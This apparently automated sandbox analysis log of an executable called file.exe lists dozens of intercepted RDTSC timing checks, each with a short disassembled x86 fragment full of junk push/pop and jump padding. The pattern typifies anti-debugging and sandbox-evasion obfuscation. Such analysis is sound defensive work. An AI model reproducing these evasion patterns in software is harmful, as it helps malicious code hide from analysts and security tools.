Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89B20 second address: D89B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD288CC4A71h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FD288CC4A79h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89B6F second address: D89B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD2884F85D9h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A642 second address: D8A647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AA1D second address: D8AA3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D4h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AB9A second address: D8ABA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F36A second address: D8F370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F370 second address: D8F38D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD288CC4A73h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F38D second address: D8F39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FAE6 second address: D8FAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FAF7 second address: D8FB10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FB10 second address: D8FB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD288CC4A70h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F062 second address: D8F068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F068 second address: D8F080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A74h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D900BC second address: D900C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D900C2 second address: D900C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D900C6 second address: D900E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9333A second address: D93372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD288CC4A76h 0x0000000a jmp 00007FD288CC4A78h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56B42 second address: D56B63 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2884F85D1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56B63 second address: D56B71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56B71 second address: D56BC4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jmp 00007FD2884F85CCh 0x00000011 jmp 00007FD2884F85D0h 0x00000016 popad 0x00000017 pop eax 0x00000018 mov di, 3AF2h 0x0000001c mov cx, 9C0Dh 0x00000020 call 00007FD2884F85C9h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD2884F85D6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56BC4 second address: D56BCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD288CC4A66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56BCF second address: D56BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56BDB second address: D56C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FD288CC4A6Ah 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD288CC4A78h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56C09 second address: D56C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56C0F second address: D56C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56C13 second address: D56C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnp 00007FD2884F85D8h 0x00000010 jmp 00007FD2884F85D2h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D01 second address: D56D06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57054 second address: D5709B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 je 00007FD2884F85C6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 mov dword ptr [ebp+122D1B07h], edi 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FD2884F85C8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 adc edi, 44B68711h 0x00000039 push eax 0x0000003a pushad 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5709B second address: D570A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D570A4 second address: D570A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D573DB second address: D5740E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FD288CC4A66h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D25BDh], ebx 0x00000013 push 0000001Eh 0x00000015 sbb edx, 78DD2F00h 0x0000001b nop 0x0000001c push edx 0x0000001d pushad 0x0000001e push esi 0x0000001f pop esi 0x00000020 js 00007FD288CC4A66h 0x00000026 popad 0x00000027 pop edx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jo 00007FD288CC4A66h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5740E second address: D57412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57412 second address: D57418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5751A second address: D57533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57533 second address: D57539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D576FE second address: D57708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD2884F85C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57708 second address: D5777B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or edi, 45B11622h 0x00000011 lea eax, dword ptr [ebp+1247B386h] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FD288CC4A68h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D17F4h], eax 0x00000037 jmp 00007FD288CC4A6Dh 0x0000003c mov ecx, dword ptr [ebp+122D25D2h] 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jns 00007FD288CC4A7Bh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5777B second address: D57780 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57780 second address: D57817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FD288CC4A68h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 call 00007FD288CC4A79h 0x00000029 xor ecx, dword ptr [ebp+122D3823h] 0x0000002f pop edi 0x00000030 sub dword ptr [ebp+122D27B3h], esi 0x00000036 mov dword ptr [ebp+122D2813h], edi 0x0000003c lea eax, dword ptr [ebp+1247B342h] 0x00000042 push 00000000h 0x00000044 push edx 0x00000045 call 00007FD288CC4A68h 0x0000004a pop edx 0x0000004b mov dword ptr [esp+04h], edx 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc edx 0x00000058 push edx 0x00000059 ret 0x0000005a pop edx 0x0000005b ret 0x0000005c mov edx, dword ptr [ebp+122D25C2h] 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 jg 00007FD288CC4A66h 0x0000006c pushad 0x0000006d popad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57817 second address: D57821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD2884F85C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57821 second address: D57859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jnc 00007FD288CC4A68h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD288CC4A79h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57859 second address: D3BB46 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c and edx, 69FCD3F8h 0x00000012 call dword ptr [ebp+122D56D4h] 0x00000018 push ecx 0x00000019 jmp 00007FD2884F85D3h 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AC90 second address: D9AC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 js 00007FD288CC4A6Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ADEB second address: D9ADF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B0E1 second address: D9B0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B0E5 second address: D9B10C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D3h 0x00000007 je 00007FD2884F85C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jnp 00007FD2884F85DDh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B10C second address: D9B126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A71h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B276 second address: D9B2A8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 jmp 00007FD2884F85D6h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FD2884F85D2h 0x00000015 jc 00007FD2884F85C6h 0x0000001b jc 00007FD2884F85C6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA26D3 second address: DA26D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1249 second address: DA1291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CBh 0x00000009 jnp 00007FD2884F85C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2884F85D8h 0x00000017 jmp 00007FD2884F85D8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA142F second address: DA1439 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD288CC4A72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1439 second address: DA143F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA171C second address: DA172B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD288CC4A66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA19FF second address: DA1A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1B6D second address: DA1B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD288CC4A6Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E0A second address: DA0E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E10 second address: DA0E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E14 second address: DA0E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jnp 00007FD2884F85C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0E28 second address: DA0E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007FD288CC4A6Ch 0x0000000b jno 00007FD288CC4A66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5054 second address: DA5058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5058 second address: DA505E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA505E second address: DA5068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD2884F85C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5068 second address: DA5095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FD288CC4A6Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4C1D second address: DA4C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4C22 second address: DA4C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD288CC4A66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4C31 second address: DA4C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4C37 second address: DA4C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4DCD second address: DA4DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4DD3 second address: DA4DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA81A7 second address: DA81CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D7h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jp 00007FD2884F85C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7A7F second address: DA7A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7A83 second address: DA7A93 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7C05 second address: DA7C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD288CC4A79h 0x0000000e jne 00007FD288CC4A6Ch 0x00000014 jnc 00007FD288CC4A66h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7C40 second address: DA7C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7F06 second address: DA7F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACEB5 second address: DACEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACEB9 second address: DACED2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A75h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACED2 second address: DACEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACEDD second address: DACEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A75h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACEF7 second address: DACF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD2884F85C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACF02 second address: DACF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A77h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACF21 second address: DACF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85D7h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2884F85D1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD20D second address: DAD212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB18B7 second address: DB18D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85D4h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0AEE second address: DB0AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0AF3 second address: DB0B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2884F85CAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB10ED second address: DB10F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD288CC4A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB13C7 second address: DB13F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85D0h 0x00000009 jmp 00007FD2884F85D4h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB13F4 second address: DB13FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD288CC4A66h 0x0000000a rdtsc
